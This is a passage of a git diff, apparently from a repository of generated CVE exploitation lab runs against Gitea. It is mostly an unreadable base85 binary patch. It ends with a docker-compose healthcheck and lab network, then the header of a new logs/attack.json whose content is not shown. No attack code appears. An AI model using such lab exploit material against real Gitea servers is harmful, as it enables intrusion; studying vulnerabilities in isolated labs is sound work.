zzyMciO%LKeiN@wiq%bPv0cnw`8Cl*m+lAkZB+Cr%`;y7~%oN7mQbZ?nHM; zz2hW#Y1RQ#AIEUYlmm&j`cZt_MJ|6ODZWEz#jfI*?^_u@dtK@m{c;pxJACwyL> zDj-GhOJavv5l|K~Q@+?6CW4MPfxvO(3x3V>FdE)hf4CFa^(<{{>MZ+507-?cE8XK@ zl|Qi4SLt$^y z4wVWDzuuTmbU*GBKC=O8D;Q3RjoqE9w99;tC*gDIc@Cu6*9fO-4bjs?!M zxB2higHPYy;38|1s7kl3$BTjN2Sa$ z-i(`X#_c;7q%z1$q4K3uxy_ggpikt*B%H8SPbG81Trit%8+!Q;tzIq$RiZFjNw4W2 zCN9vx4nY%;$5ID}Ro{1Z*;ZRxq`CX%m=dORJ_GsUJIGrzUAzIX1!5RO5_JavgMpA@ zOhw!pVXE9qhKc`l&jHzK31~PM0wsLopwzG_#JeUx zJ$?Q&o>;>H(SjHsyWo3sXvYBSU=#bQP2@ zy=Hmxvi+c9rI3(Tg4t`te22!tnNtc;XWni43L@csF#z$?i}o^_8I9?efK@MicEP7I z>m;HT?TAudQAm;W0~A*`6moR{62&c5FHoW%$LZDr8VCO>ZQjr0U0riLy^ksaascsp zYuV8~=EHOW+9iBdvFwSJ9`pXTqrcuI*p4i3sL{zH)hag|g?aBHemRch*d#Zn-V&Rj@VT*CgonXOEk-BhnUVzi6oD81K$kbc;5AvA^pS*t<>E zpUh`#?g{##`FCY9pTjFdE9zaPl?t1Fwd>R;#3lo@8akr}J?%N1K08Myi?>;v7MWB6 z9MncK9Dw+Ijy9)3@9C<>QY@yHRaRM0i`Ht{h5fkS4No&}a5?mwD;!e6CHfTCQ)(FHF-tlkg~@SeZ7^-V){A#2D{u+6{U=i?_Vr`Ci9#-W2=qRVJeye&~AN2EaUhCp&TX$7jE9PJx=&cGsf>#5ku3FLAaW zC%nD)D~c}pX>FQ>FX;R+8z3u0rVGV0c??KBXf_nN1_HmO5ZG;K>8E7)qaV%dC3o3Z zjHvXJhYaE=zlDb@7&MJj*V_&_1D9uHMJdciWr#lKs->@)?(3J9_>mJRLisvcD2V(n5IWc}rkRfN9## z**=ySJ%;N5z*c#CN)f`0waRDaraJ>BQOn)|Y}sx#8|R5EPDj~aW6QLj&)!_XN5VN+ zO24;<=d=l&v}|NI9_W1f#;x<|;oixKpn|bO8sd-uSab6qi1_|;q5Fgr z_K-Ui>X0_{yD#iNC&&>A(KA-O38j|*&&%KPzB8?{dIJ}@e6`w5&vG1R_zxUl9qD=o z1iUWScYr(mNlW)2-E!cm|C8GnVu3HPDtFs%{FBx~2p6UKY3~(a()5`nxoq9u=k*(5 zT>j8^A@79Bw_c|7na02Yk8n@r+kijw?_iv;y^y{EfZ2TV`=rN5B>hC0Zy|JVv61Tb zjZa>DqiY13PM9j?E?fUS2j@Z7L&1NC{C}s}-SacqCtB(1P=l8+!wcr&xOw)xFWEj( z@wxHXt;=%2coS5J_&Ts3Kfgij)3$pttB4%USBxz&II5|0|ydzrSx8(q8yNpR(m+toYP~8vCy;dj!el}Vse75N(<%OskCbzw7&e)-rfU9j#1tHuhtllWkQ19rSvhYfYLAIefM zuLu<^#bS?RY9fZS^rb7lZ7mmHzVk=i`A1-4LYoZXWZI$qoAGmOkh$sZLIlz9TCrZ% z-}IqshtY!QY<7c|OLXVSEqr)#=eb|kXu{xHsa~P`ph4YRkP2HzKT1v<^1l?-#I#I??c&HrVm;Z;` z6w>VG+YxdGT;L%Phw$sT>LiwI@Rdg}BVEhVgl<;9h*nQj3-ekAo6{h@gJe_;CF~## zPDdm0bTiXlXP)!*9{H_%h5+U*7!~PsPWof#*(fx?gU#nkw<`W#13#JgEqrifGtLO~ z5L0A2#n&J8=y(7~@#2sFJIQ*fFWT+SYYAr3ettJPjz%ZXCFM*%i4?#piE;^^)>M{9 z_jGp?STS*>v54y^f474|>8ZE!Ik6`vMHe1Lz|AXe^V@fYIjK*ijloVknr8AjQ?my$ z-ySz!&A6sExNn4%Y*A{Kj{i`{FuO-vJad?9K%3}t33>=pbawQJzyjH22htw8_qrC$ zXL&ZiFVE_X1MQw|CCCn@ZSQQ*xKbE4`99lrSFIV$QXAEQ&TH~{__yto__$vfWXbc( z!h*VeWf&vU-^yI?oh^l}90=~9^WdgqU26Hn&tnjVx)8n7J>cW?=GZ_g zKhQ)K#eI)$(pHK3;`UI%GVd^I&x31f#;>VjIpS@Hvba1R>&svABf}F#bG?xu4!bLU zw~bjceySeJ!~G-iRd02HY`>rKu^AWf?4S0RC9e!f6^f9mIj%wX`{`$75C^IaYbCxX z3%>mWM!Qd+k2T9K7~mCilq`3S+g<)WnB-);GZ`4RDe_V$&mJ4>K(hmjq@`Tt8EETq zclcBPewYV))ZHxTJkfS9KLVuU)^3sDpxy*me9&2`Gf+c4E1qN2iAZFl5%XfEFW@zJ z<5QSgQc@k2eN7X^;&%S1WE0V)QwtAB!e8o$y#h7Y>amf(a1n=^`hU3^rr@d*`CXOk zvK3c^_$i!r=yiE1e_6;rE zj!N~)lO|c>oSB)K(N`e8Ziurq3^SnAo%<{lF}!Nj^4^WY_3{#lKvAMfM#q2-@cHi6 zL8B(Qbh`fOZh|ojGc?qb;`Qmm2wH{sP+ z%*!QRef?e@KBTswzssyB0DwKu|MZO5_Ah_vCS{E7hn@C0>Dwh6a)@ZLs3~6!jmNI$ z%EgTxO}F!l3JObyPBg;_7;&*mS}cajbhFK*LDet*SXh~fR(D3(Z}9ZKJo~nB)tRG^ zwz=5f%hT1`Td6+Gll$mtd@KP^0T}sczU6ZWKPFqc!RMfGKP7azN3wKnh}qqJh6sb; zAmjBWoH}J8W#YYET0TDcwIpIm=%!9$#^iuQY9!SUnG(}S&jvO2+P4ylsvV=giPr7PVd#1CK!PPVx}DZUYo&&@K3ho|VY&n|ilO8) zdiV}Zg5^QqPrqfD3JHN0)d^dW&ny05`_E53X@xz056+jVM);5fN==vDRdP6YQDQGC z2TEes^~TZ~TcVPPgG6o7u?pgi(?ZIb$BVg(y{V=3;TNwDDf6yV)`*kU-^d!u$B<;1 zCu=gRgW!~}N^G(`@y%spelRuomxN>F@Uti?ZP?~YY+#~P4f@1865hvcZDp-!w7A{0 zB7!WC*8=!&8uFD9JSMZa`%7(Fl5~y;gNkLASca|1bH}wm5ft9mTm^6q;u$$lI|`Q=@^x6X@-;<8vYl*=Y7_CH`dx)8}ECp z#~lwx9cJdf=X>S(Ip25fDE+?ZN0%a%^Q8FeGo!J@i=wakW`;eT`F4qyLF=cK4q~x;KIAd}ce?o6HsY`1Ty<*KWBZ%H2dQsVtqC zFBk5Y&PB-v>fO$k=s8mO)qjoN#^-f-QgsXr2Df%KvQc zjP5Q{uL)jbrz32Z3tm>d??Q>WQgfpu?wf`0T>PMkP3~kpN@*k`O|`Q}0UcZFypg~a zFqf|vA}U=`mNTwKoN2Ldf+xSqvp$(kTtd%gJ>2*{%@0YcM{!EofBM7w@oyo^)$kof zl3lZj;+I)1%FTS6}!~PvRGNe3fsC+ z*FTOI>PefZD#z$>K@^Ho=7R5CxSO&`Af#9sqRZ^d69(@qnJWuSOHowO37^7_oOZB5 z^ll@$Y58%Fcn||xKq>KGZPD{x7qA*inz@YfaI+kb6dRAT`!X@Lth3!bo^KYQu|%;+ z?@pnhk4jMIM1xlJs8vUetLO7 zw(rqSF9BRGJ;8wg_=2y=~X$~67#6SD!9DBZbTu3NAoZeF_ifm0R z@?%b&RJM$Xx?!P~oM(mMNp~eP6poX=K`1pxRHC=lHfr zxmoAnMl%@J*;4=MP zeV>%L`_7TsT%=bVU}Cs0=_$4b&86QQcbN_y5Kizzw05kLMS7GzTH0(p-G0W@vR`t~ zKE0#4vm-YlH53^)OO+g#!5p$Of>79~@T}FxAG5QalqDJ36DP@o)YpUrSDH&lr~h}Z z)F_|K=>z`-Sn6Z0%)t%vYsleh^mRb7J@#HX&Ggwxj3gj>b40zH zEU47UIK3Yqt#G={V}iy^m9~zILUQ}iXZkO-`69fDjJiAH6VEsVZ?<8Z<5gRFDQ$%4 zE*nCmZFHRJkR_q9D2j6$lQk}(F6pmIK$QL^V@J>x>$UOB=|1|r1$qCNn=L{`F?f(} zr9Jy*_I8e{f5%73)@To1H%6uoL}nj`PLw;}z>z<=k2c8gv+(53^bS=+1EgNB7# z_4CFtOJn9DmHlR@$oLO&ua6e{G?Q9jPNc0Wba@mtnZyC1E>E!sbi}n_9sjo5^^%mp+gE zC+tpae~UmC2H|DXHB@2(8Av~_xky>1bQ-sbAYRb>BmaKQupp#q7JIc6we~*IzitVr zSwE56m~#212-Y`IvJ#kp=@fL z$&j@TYiOdiOKlf!H?4jWvmqg$s4l$Wymb;(mnj*ga46?%gcY+P;&sK&=6W3Z%M3Ye zzHfez0j-4yZgnQU$jI*_0UmX>i(SR)xy1KE_NRIo<_zcaIJCa3kauQlv|qE>5{R578MHfxr!ZY51sNC zmlz*69PUl*JpzHNSvc(;HTH*t{R#BbYyLL8)Hl2{DX%9`8#USj+Y-f$Ut&51?+urn+_SwFDd!rW)iySdMq{^jH$Nf=!pMfmjS5z)D zC#*9kOBkP&cP~QT9;uA(_EjPRo53GMBCtM)~cM~Db$)?O2n>MxW_lk&4(OG=_A=8Z~wI~<6#{U#OmFm{0Az08Nz zTnB_{-M?;$gj=uf4zkGC?cpc6*7x#CkKEWiI2hNYvxT7KzOyFtz3S@k42gW@&FgyT zeES!!yRerj3*(TZoOAa4tH=L^NZXLELgdRQ?3@ zF(ff4i14jJq0W~9r<}-#xp>y~CSSS;+px!?E|rU8_3FMCCpB7c&!1BcOPMd^5}YvB z8$4(IqSmDKWz*PsYwy{qQT(-Rdef}FZ6+KS`zhZ`SNg!a8 z3U~fI$>~e^$R-+7(UfKwqJN>o*QE1tp6;Z&Cqry}?Btay#2T5`iht(QqzMRgTaBR1#_PwO#qk=J8)U-G;x7_M#~ZOyVvYzZ@8t)Ltt zGD<3(Y(zcKEV(FICae(XPb8Fik5Q(JFYmhLO4g)&QO~6n2B*gheFu?UyF0!5Gt#&L zq(Ut-hO+&n4UWgo*ib)Df$bZ;S@CFrw zzIWA=0%1?dH=JtUd6Kv4@+|hmjs?HUvC1&uwSq0`j?ONXi0!Uz^qnWaZLGeI6W43l z3)k6djtyC*OE523EiqG`;?HoBerxUxvc3&5@s* z-ZvOz(rI)52@97m6qs13RabEPu3$=Y#v6^#E;J7{&J1EM zm^xTQJ{dgKqg}r}y(7(d$L`DI0|*z|WR=~?td&an{r2%|f;H@g<8kHD_&51AuM%;Z zzq%|QTkTAdNfivR7byvIf;LiO`~B>5))iy->u zvgS0y7}7-c(2&rY&lm6RQ!eCd65A$qR_2wL6{+zX7(hd2)1bZBVDo&etH#%+j8|QJ zpvNmeZ_)u#VByHhCgm}jXGL%ezL4qY(#q1E85b> zk!E)+HKH`Lo3LoTx-C7x`@k-a%kd-mNJnzr z@!x&jLu#SEXPS5`2e}HYd@*bZkCO*(gcNrlIy}kU7~EebDIdiX2w4%R-n}CEZ0@}O zV}*D39yxi9NT8vt)GveY8EztaGk^J-9$JytaAJBguAk5SWE*-xAK5%Ht0@=tUgvA# zEkod-Ip?@Ni4YIv+?#DKO&5LefzY*Om;8YtXV!i13n#jZ4pc&+&|?Wct(X>A zxO{PhQQDBCEi6l?`Q9c2P1{l0keHvPk_e*6UHv4l+G4CegX?^{&K8F1y)qWMl(Zk( z7G6_5daWI3+_{i5m=+gfqedcp>&|4@TMH2#Hnv$1_Qzu}j~s^d%teOXRy+oV(9<`W zXIcUks~y#M>`m2^GU8QCD>E;Tw9B~G_=W5-QXwW&gk)A!TVA;qV9bfyzV9&8*>e~E zDta;DTVDI*dd=EWOBmu=?m2CGEak7M(WYFT2Dg5<6&$*Y(7O!0(`kI*!Lc+7HBz?B zPq)O>_1*R5tj1uWR=kci+dqASDvM`tnNFrfcXI8I+reh_Z2hK~lqp&-e1!)(M#*eN z8<4Dw;;%D?vZ70heUg(B-0yL^nMnj0#O{f;HR|4UDMvXLjt3ph&XqyauSENErp*9zpBS#IBE zOh#?S4-XHu$!8O)C0%qt7AncV6AQ6gTN2y(@bc{g?@57>wT9!r!i)DIMN@I3myECy7i4tlTye{q0vPey3Ub)5y|z|)IWV&tOH~3zZNVvqm+Q5$Z3vN z?n2eG%daVJ8lQl)JXSGlYa2VT_V`A3f@t+$>Z_9uw3_#2en*yEDsz$JA`W9oFPdLi zciEq}yUHi!_)o?u`*4@}PBK}8`Ho^Sxo(DJ)bvQArbzvy&Q&8>od>Zj6S9^01jR@? zuOE)S4}V#R)MSn8Q3hX9X=kf>HlQVricz)^b?Jy4Ino6n(Aw0)m(->&gqIfMnGCLI1k_zSG{=}EQ z-r1G?c&rX7@G6@56mRN;i1{1|pDMFDwU6jFbTg^=-Bzd&Bsl!yuv99FGeGjsRP6-+ zmd9;jt@Afw{Po|c(OpFMwT|4Hj_OF^;rr7^ZoId|cyD{$)|oh}{nza7w6OY=#Q6oz zOWu7X&^*q@c><`rUUy)NY4-G+>X|C=q;A*!+ATJi7!JC;u7gMZQ2p73cmMtY4o%${ zQDY_HhqJ+;_gqBvykh(7 zhvj4<1*qC4ri(6!y%0Seq!~xM}^(Lm| zMhR_+pa=zm8`f!qbbq{8I*|uV0Smx7P~|8BokramUpw8ixwqv%U^hCcMNVCXGxnb_ z>{yr#Hgui=x!$*MItXtOJ7${0)A91Wxmx6u7QC;uVL3U zexsi$4X~elWdu3b!PO)lDE}bO{dffSB@tDQ!?TjTO9R=z%8b(hGCW!DB6~G@vSvfH zngi~=6rQtjw$dpvdmM8{MZTs3xsd%Bqx}l3$7e}KNI8QbzXN)LR|TR;Bha-vdymh- z0`t;jgu8NyV2Ki-f9PAX70Rb0ve2*@L2Mfe__jJWwW1&0@|2oR>*%N{ zBBANq2-8vY`iXFf5YpI&QR9yE6a{x88>q`^%5 zL=60ZpVSr+qP$L3wVk;(W4tXwm+|j`G$HMaeA?PXx&Db3$;>mr5KWX>mD?(PQG0E@ zIs8~$8%=>Ic9s8d%&-?mHFxj7izM7TcO;%_qo(Epr(|*v)L_01`v1ixw|%+eU4zjyLtDg_$t*wP%Nlr z^`%J&85MpyRw$HB);h#1`IHND8pfuU+9V)qH=3rMYWDS`h8MQN|P@AwvMDW??#u5p8!B#LuEj|@r z9E%6NN#{U0=M*fF0aQp&*R;102~CQe4qn(> z0@T$Azz0F}1bUN&yFv%ElDb*4@r(0Q?%Ru2Ha4Ze1lI3}dDfx@n%>BEU65T;+3xE< zp$h~8c0SS!n+^0e*eREHr|6YNu_Go*7qr|4PgJG;-3xGajeHay#0S!<;k}Y(Zi^8B zsLPj2H3O1{`R#DbFA8$KSB48!EjA4RZH4tqlfi<59Y)oPve;@6+oF-HE%?47TW4E3 zd-!Mj8tH`U`5NOu&OVd({r+*L8;a$&dk0v&zSPo%u82XnuGyBFPb?o4!nce`>0#rK zal2)1EJmP6)VJ|6J_U7i6K94rn?_llaVa+^dU>!wx^-oE%Xw$Tz|fSZN#7ooQ_gR< zmc(HB_Nx2pXvJ^hKd@xSZ7$H>25|4PvNG4hHSOUNR0cYQnnus4d4?Q~cd zl5_V~$mn3#s`^nS8=fv1PA_xs_nt~r)Hf_X;zBbJcS=i25-^;D+eQKo7W_5`pEi<# zkQ>L9BjuRPZ*H*6O>wwOrBL9ij6@>azm6!S4##|p$^I1O$&k6j4->vFKI-fvRAO0fb|C+$qL?4$jywn>0+oT(oj*3V_*!(u21 zr=~a!Kzk|Ty0_@OR_E(0UTP2oqA}7lIU}=*`9zuW$;U)kr5>K!0U-?NLzNE48r)QC z%6(b$HR@ll!Vgy+F3G^B`RzC{F)>3^SX6OiXU)(Pxn)-FrUm09&1EWF$TT#yQkk3a~tN034EIT051S=#uNF^ z7YTM6tEz*jM2sgJE=WC18@|I3hbU#ZpbG>E z0KO5w%G;ajWi=yBEhIg_;@{Y47DYLJ8cc>BoK+OU4kg4EHOAmg#1(<(_i<8^&e9(c) zJR_GRomNW_6-{T2!Ri5!U=7hxJ8R>$raWfhCyxz!CaPV~pQc2~DUgmhg^jQZJ?UW@ ze(c()18vO%TE93?Tzr?mf8-~Hg#cFV1j<}re5!U>3$!s9ED)NQ5KeoEmyc+~MlwEr zUj3$|Jc2>G!l3&gIe0kDW%3Q#w|jin5*P(KS{E|n(MbfqFmnI%&7igxTdUX^PF?HV zC>ik(Qdo)|fiEY}xOA?jS%jLC&$OYwga;31l z>eqY??$S?sY}6+6c}`14m+{EM8$rgcnx~X%m39C!^PRtc$ptLlrR+#Fm&LG+;G5x_!$e#dGW z)g|Pz)9c(4Ld6cOZGvaH%3NC9D7;*yAeMY#sdOk4FQzdqA*HH_7qR=p>fW z7lxZm<$H#5u7SQ(be+p?LqO*WaD1fl#_L@I;48DqOfKTS2?`Iu;X3XuhE-SZfAkJO z6#*&I4lay%5IMK`$cyYnZi}&_;VlyX)Qk1C;3LqR`O5KhBW>kPlX$R7D}J^Jd|+?R zSE8vC@Ti383;!jy82=_$v2*>3KP+{J|3C?8M&+rOLLkt*)-3h(&Nsu?RDL9b>K!4V zZ+xgY5K6Fh?~;a1Y2o2)+T{@1O}f{S5}C@UErFB`M!!~yCbnW9%72#&#!O+1)h@Lz zE@_gHjV8;^ERZZZ0qL82^I)kt_cGi@lR;!W8QZMN2n?TnR~x9;Lr4Wu-=<|M+*0}e zSu6H8sJpK0ZUsq2J!C6n)hr*aHVsKfs0XTX=rT3-4499mK_Dv8e;m6{pJqBD+PI-C zEbQ~KG$TX*=;B7dFhQVr@I9AhtT_Uayo~`)>|pE2$jA#My#22ifuCqR)6%^@>GlxO z(B-p}%WrQ)(>!r?MjVLpuN9V4o*~wcw5s0w0mbjdfYTOnw%dGH62peUQlH%?ub zG^4iu0Iu4Y9$l7mFu0$r<(%=X#dnKx*xj`F)BQgP11U7`1%Y6eP9>=y$^Tu zsG2RFyP!ZZOU3A=`~Gys>~CsOTqz2Ljz&B@?8yDAsudL#2L7=qREDil>h4Sy8bpI2 z>V}vw(%=>kAzETb?OF_nZu3x?)z&OyueLUtK{o1%PMxFFQ<~qP6033Cum;Lw`iPkY z<;XHSWUzYRZeXkKnB<<$@6e;Hv)rG*dTYGlIp`8pS>+48Pm~R+y2Ac2DIY_uHxX(o z+t7CcK5nFtIQHP?J!z@v!W22`CYnf%O5#P8~0XF%%#pOXu*W;u9Q3OaTgj|R2+j-&M zTxy?$!;4v!qYPc<+MENaFS}-q+*Knyla22gzkg+|dwlaeK*w=uU#%L&0wsQTeKLB@ z&XfmSGt9?Fh~TgbF9T)%;xuQua<2V{D5k~F6(;>-qoXc6mG(K`-%kI?292&+-9PUcbM)<~C_H$+$0)ac0FD4+gwc=>=3Hd1jOz5BnL zBx~gX9qdG0Qjw9_iXF@O@s+fb_wc0>`R6)_0vuMx#?!St6=yHgqkX+9^B)eX7R;iqqjH91f%~d5_ z#3g$3B69XOKz}X?d@)rOHHa5D1GSgcN9KV-bT{=f58dDfq6?!~i@m?O@!MkK znSq~OOhZ|uLdcB=MzZXdmUl3!+Br|%(({}TvE%KEnasDbfEn6XboT`KJ=h23U$YD1 zPYb-C+vhPEg*yS z=(!C~y0>>wVKP1i(({f+RD67GeMZLSOwdP$AeY z3m;{)BFSKl9rfsdg6#BE_pBWKvrCO5x?XqVgJ0b?`ppcqIsV8#_@8X6)kXBjp`@e) z2txWvg4OSM`F-pb*Q4m9>Gy3fi7~Xy?u{fMG=7UF5~GdbNW0GtUEI=c9Dj{T%4?ZOwPJCCnX$t!1H;FWHVMF0XMW3Lx8w!Z5%x=CLPM!G3$Ng$32+703B}4-MlEc; z6e4PEvarAlj2ASHs|zCF1295R7CL5b4wG>tYBHGfD_c<$e(mH}R_=oO-xrUJZrpT$ zMJ7zpsd#!$r_tS9P!e!>Kn?-WZw40c*KF2p+a$m}R$G%C4KpwU8ih)*sxc_2`~VB( z$vo>Q06e}}E}-qgwsTK{fq0```&!gIG=^XQIVAk8vN0?H)Rt*4{W#4JUigJA$?gB* zG95So`Ipo~-WQdKVzV$POFw!`yE~pfJCN|wDL0W^Q7cX#MWZcy=ktL^dUJO#Qxz(* z0>E@eQ=lg&PoX}GU_cKw=&DNOUWG!0fC&m&=pVSAY-T7lZz^=jAGU2+Bnu18R#oT+ zRBYN0!NjMH2_Mih@eTI91_{+ zetda%Rb;OvC|shTj%sXPele;yVDF0BpE8v@)VulCtn}R0{{b9oNzlOI5~h z?mX$;CXJvyUK=alJ!5%N3Ae!hB_@2|+Wp%$r-XU6N(AEprQqMa#Q3}xk`w;j;ZNvA~7xNv8SmtVQk^scF;8v<~F zYN34qv5fQ1lI1%ibkZ^5iYtoT!!=C2or$Mn#^p#*X%*+V0ZU%mgt3S?cA0rQJ2}!-JxPP zU{tRBzx0{RXRi@;=4;kY14D~*9@u-iN+-@3%)E>#zBr-7(y|~vNdh^Gwx)VC^KiLwUg@!D}?YvAIi0iJo>Ws$eSz_Z<)h7H>NO% z+kEKz5HItLCdE=t>MeN=0dx1kjk5n*G%l$IINDbcz1w{M|%Y) z4^MPQoo$;D6d#84<=~`+*Us6=O%B!=XKY)1)yu0BkeXZ)H_SK>L0u}4wuh@v@i-Ikk zx#0Y|-+T&nhjD4#6lblgw@Cmo+jV;`$V$$72+t4j?=p$y14zMkeL(Wv(*Tv#z7y*s zXJFB^Glgf8&kTTlhkgkjElH$Yqy`-*yOe3g=NHCP38(RJs^2Ne=fm?l7`C-y4@< z+As#CFr<-)a_3dRUqghg09KVH)Bm%5ZuH7&Li0fn{=tM=2Q2YxSMl^Dvr8 zT?>~^Dn_n8THy|}O4r4!Gl=M#QJE&zM9QS3-&V^56d0Wvy@o!f@$oSzHRk4~v>|S{ zN3`ZBwi~c0mkez!prct4`ykzqWmEJ#{=7bpd}w2HI88rZX*n4N@%qnUX*T<#FfQCQ4FB1lmoUaOU8D?6DchGp3U!24UZDi9YkXkmDoQz5By- z02ie7{4BuRHVc(oeO=vbX@e^_EgCu;Qk7ZJh9F%Pus37I7y)pGvs#I((o83-M^U)` znJ0hP12K(K`=&W&)tMhwahy&G1RRp#v{5O`OU~4C$l;j%O(JE>GI)dDb=+M1w-p<- zNQcqUY>4a^U44v?ac}Io$Jd)}?QP7|-yGTqhxDkhMAt}E8=V-94>*VhTe8V>1v+Fa zYj1gL329#5$ZxdmtR&uPRg`~L?|!V|E;G46{65txf!AtmY&=l*8o7v-f{tRQ)ISHF zK~$GdG8XvO#9i@>h9QbwKN@jWhM(v|0NG4``;vky18pA)@lL(^kvU=$rPqj$}d+$kHat)X6Y3 zT&uR2-&zf>#YY)rFTCT`(szsI#K-G6Ozm;pltZ+3t9rmYGgJ@Wc9Osd%jQ)Q4T| zQF7NaZJ4Irs4WgEFDJ17_4&ny?P;n^2?-j}k!y2BMlYUn@`p)FfMpet>wF#~P-4%h zZ;r_j4q4*|30ah$A4kE#_B;e9@KcUbcHM}4#jAF(r!+dAyHX3>;_yj5FNjy29JxRG zdJ;#Jvo$nfZ6NiV`_CN9eVfAyZ2}K`$~}#DBh|Xmua;NLcmplSZZW2bJ3NdLL9k@0 znFN$vx;CqNp~!XdyO_um0#j4NO1oYSm&=E5o5Tyj^L7cb%SIGM>JiWvjrFRaZJZ@{!qF(u!pB z>XM8(J8%{oISQc=3FEc;46dADoA)J#lw`TWY@FB(2T!FX5Tn1rZ8r9~0YwyPbL)&I zlq@{n8bXy3@?!Z-Z{b6=`^j}{BJbsvY36oQ&hdT$!-5VA8^B$e+hM5$Y0s&th@XGI zG3_J$1B&N(VQr0l4LC|!ETOr`h7n57OlqjAR@cz@qB@E@J+r(#HAQ`?>*tue>%lfD zUp!b{m5e&9Jux;jx@Fq_d#;5hf!}SQv$MAf4V62}!=zd)UE-PH;@qk}`QO>dZ-DGt zSxsxlgxn-+>TRezDzRT1VZLCr$>*!-gB-?PRo92%FJ2)YJ(m>pz_3F#lH6mTy$sIf^1^jbI9u#<0E(YVB0aTnL z)8FmGw1b>C#j@Hu1IW%JU*x6lh?)+V+*&aluixd80xXJ=^5RbA_h|CO!$YL`(M!B( z@a;(!R9D!^ADR4qw48Br28C)-YCg4Rcn{>0a-5Z0e_i{;0_HDjcs#+}XqSuHS8C%S zkBh;s#M(f=liz9c)ya_)rJ$oD_}3-BerIUNTrNJN&na4WW8oeYZu}{e+yR1wWoHxO9ry5xcEkL`4y|;i=snU3jDa z5QwuTS=0tS2{f9*x|!QBn0$H{HYePz6P7sL{ObVSJ~L5&ct+KmEF4U25}#;1l&gCY z263DWVadW#4t7WCr3O*gLNKXP7eN=V{kt%-I;v1@4#rF@@ypfg#ZpY_A6lXVX-QLT z7O+H2kwQ)ffzCIv(d-r#+!fGd`MY&U%{p0aqpIWPCPQ>VMm8Sm7|BM0)C?R=Kw5EG z$H%;Qu9UJ!hccHo?W}jfZwuE{b1fWHSJyO_Rl=KHC2Ij@wut2x! zh!^(pU#enf85)keT)Pj)zt`r%G7h!%OYzA zsZ=8A{gEjJu7?xKON@_projFk=k0TFY`ICTtShYU6a&U1jp*P3x{Biun$D9 z5J>cJA^@6{KUVYhm??|5_!{BE)T2N@WAi+7dRbED*a|?zE7Y&_Z>^_^2gBXa^@CPn z7RsfBPWQ}$0N!VXX;XJo0==*y{To&92!}#qwpk&K&vz~3EZ`Z0Y z%o{3xC0mO;O|?Ke07HLqs5oLa&|^CrQCWeJ?7G0Tzo3O?K8KpnthC5Io=g9l-mXi+ zs!;)nE-ZKV8upkBeo-yd5nBxnIkTVuPUfoX!K+Wo$B+d`xw)^z-0sgA{KbY_QCw_1 zUgK@sm3&%%s~$P|j4y)Iv1p1<$7X>|>AB%@)GEDCCJ=z%rFyk=piD2-L^yTF-9$R9 z_NBN}u;NtWS7kYDeAfTg)A9ZHyYZ2^k`g*;H}iY-_WAduo~|Bb1>Ej~|2F3poN)dw zzgZ-KoD-X3CV+b4?TtlaT6l`%VAH~EvOw8;Q{Mo6a`0&eDxvme$j@Qt$Kw&KH6@hj zb!!#BbK-lmI=sBB>jJDlXpvo#d=YeSAX<-^s0e)DR>x~s+ro4iWD|N~nSC#^`YvKi z4Z0%&P2PPWI0sQr8vIiGj%i1@_HuP*{!l6sM!xt+DRdZ2#bYvcG~6s5MaF41)8AnH z?_NM3n4KN$tkV&_&KBn~>ANo({sQ(XI=WCHlQE(RpH~w!R%}qs*+Dr;#z8Si8%nRhNE|aG*r5r!T|C7n*y-EWlOp zBQWvAy@{x?JsGQJ^Sn%|lH=yf&7u2)*Kx6Eg-GP)SI!eSr#qtAZT@`ifqP0qpHrjn z*60J3(UP^^+QSKVghQW4M&dHgna@JDEF|< ztI|JTjF+i5!A{YorE1&uYxxiEli%Vs1gB_(Ca8}Dnx?_)Wf z=5n|)q@yDdb8t!}d%eG15}g&Dupt@tU_X*^Mx{_In#(1s@g(OEw$9~rTq!>#SU7HB z^Ap~M9)ktiyUr*Xpu*(o_d!Mbj!Qphi-Zk)ldNXjs5_(cJ0kf+!BTu~ki&RW>8$A* zc(&5ge&;6o7iKKG){4cfKc}fDF+RPmRDU@bRw-nXxj7ux62krGWUm@|nzZ(e_hyn6 zXmJTWQEL!J6bfN?@HZaJ%BQu4PzY$%FDd)m!L`gmoE~nJAwv&J2E96?pbEHSPS!t)fNY`5R68rK0X62}Itu6t(aRsWSTARU%cVgF#N#y@)l%)_V z8+!i)Mp^fGEckR=^uR6UCkeaGzxh#^@Mar2vd-i>RACC3!BgiaBECiq3eSOWN4@h7 z)srvD2W4-mF_ns0>$?F52M0{l%e@XMN>;fl`H`Gr{{ZJm&B! zo&jq+fQXglT$Nib+hZ;I&V7>oh*T&O>YaBLM>Szm7@JNL8$$5&qQJh5eKD1_&baUTX6>uOs>hJq87FTH`06nBSCu`}X=*kdEk!*Du zB?iBb%J~|JT&7X&&h5!HHn=rxLfbR(Ix@o_NZ1m9J}0>!QE82vFC9$@vspQaHQ(F1 zCK&V2k4q$RkB^&@phP5c^x73^Lzc-GPU?LDSbe=Ot^kud6~%8SCD}+_E<*0Cz#QT0<{6NVM5sJI zgytbCIjyF>!2VIdZ9b3i(PjK45&`=>pCAnYb3KDfYLDj1S7$Io~_%dT1CH~~EA zc!+civPqPD)(O&Q9)o{1VX5;-Hyv9G z1kly}S8yr5T8iP|!teiIm|uLXJ}IM_|9(wn;2)okuX5+Gz;U{9P7P5fD3t%@ zpP`n|wW54-O6H$;V5!;B#VIyE9#-DYw!=JvV`Jl)4Gf-q%z*XC@%_JR`EG$~|2)4g zUU0E+gG=sH!z*8Fw$^r*+vHdC^Ng>bahUk^^>s~2=$2{+EeRLlM};H_xh@ilgu&Iq zSqvw?A>y_z@!{k}iQo7BqMDh71;fmTVQDXI91io~AK*Ao-yI!Z-6Gj#M-VRJ6TL}v zKE>vv^0gz4ex2>pKIQq$&#R$6>gw1z-pDU@Nv%=XZSNM%Yx4c$T4XBT4S3b3NQFbx zy`R0l_(Y3D=hOyiFKB9L3N%YEPGN@!2gTvq;ha#Z4-d7-B#f>0E)25kJp9RVzG%X! zrWSd!&GGukiOU^n2HspmX35Hkcz>*zwQWeCAUCRwe#s^7#BBu2M_MgYrP&)(G-9a0+}YR`RVfZbRfb+B}tzI_9hgg9%iysK_1&dXVe|?RL~2!5HI=SnbLob9or8$kPZIt{2cbE4(;xrz4-fWlg^=?4?HfNgTms? zvojf)+O0S67sMCAfA2pJ|1bMYAc;RcWr>Nv!WG0l`/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/logs/attack.json new file mode 100644 index 00000000..63ffc9ac --- /dev/null +++ 